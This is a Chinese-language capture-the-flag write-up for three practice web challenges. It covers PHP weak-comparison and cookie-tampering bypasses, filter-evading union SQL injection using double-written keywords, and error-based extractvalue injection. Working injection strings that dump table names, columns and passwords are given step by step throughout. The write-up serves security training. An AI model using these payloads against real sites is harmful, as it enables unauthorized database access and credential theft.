目录
[极客大挑战 2019]BuyFlag
打开网页,看一下源代码,发现有两个链接
不用管index.php,直接打开pay.php,出现提示
同时给出了购买flag的mone数量
查看cookie,发现user:0,将0改为1后页面发生变化
让我输入password,但是不知道密码是多少,所以看一下源代码,发现了一些东西
~~~post money and password~~~
if (isset($_POST['password']))
{
$password = $_POST['password'];
if (is_numeric($password))
{
echo "password can't be number";
}
elseif ($password == 404)
{
echo "Password Right!";
}
}
is_numeric()
函数用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
因为elseif后面是弱比较,所以可以使密码为 下面,然后post传参
password=404a
这里让我们为flag付钱,上面说了flag的价格,所以使用连接符&链接 ,但是又发生了新的情况,说数字长度太长了。所以这里可以使用数组或者科学计数法
password=404a&money=1e10
得到flag
[极客大挑战 2019]BabySQL
还是这个页面,使用密码' or 1=1#,出现提示页面
发现是'闭合,所以对密码进行修改,改为' or '1=1# 接着提示,密码或者用户名错误,所以说明密码是可执行的,只不过是对什么东西进行了过滤,双写or,登录成功。
猜想正确,接下来就是标志步骤了,爆表,爆字段(列)
输入:
?username=1' oorrder bbyy 4;%23&password=1
说明有3列
?username=1' uunionnion sselectelect 1,2,3;%23&password=1
说明回显在第2,3列。
?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1
?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1
有三列,继续。
?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1
出现flag,复制提交即可。
[极客大挑战 2019]HardSQL
又是这种题目
先试一试万能密码
再试一次双写,还是同样的结果,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号(这一题不太明白看了大佬们的wp才略懂一二。
使用extractvalue()
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
这一下子是直接把库名弄出来了。
爆表
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆字段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
然后对password进行爆破
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
flag只出现了一半,使用right()对另一半爆破
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
连接在一起得出flag。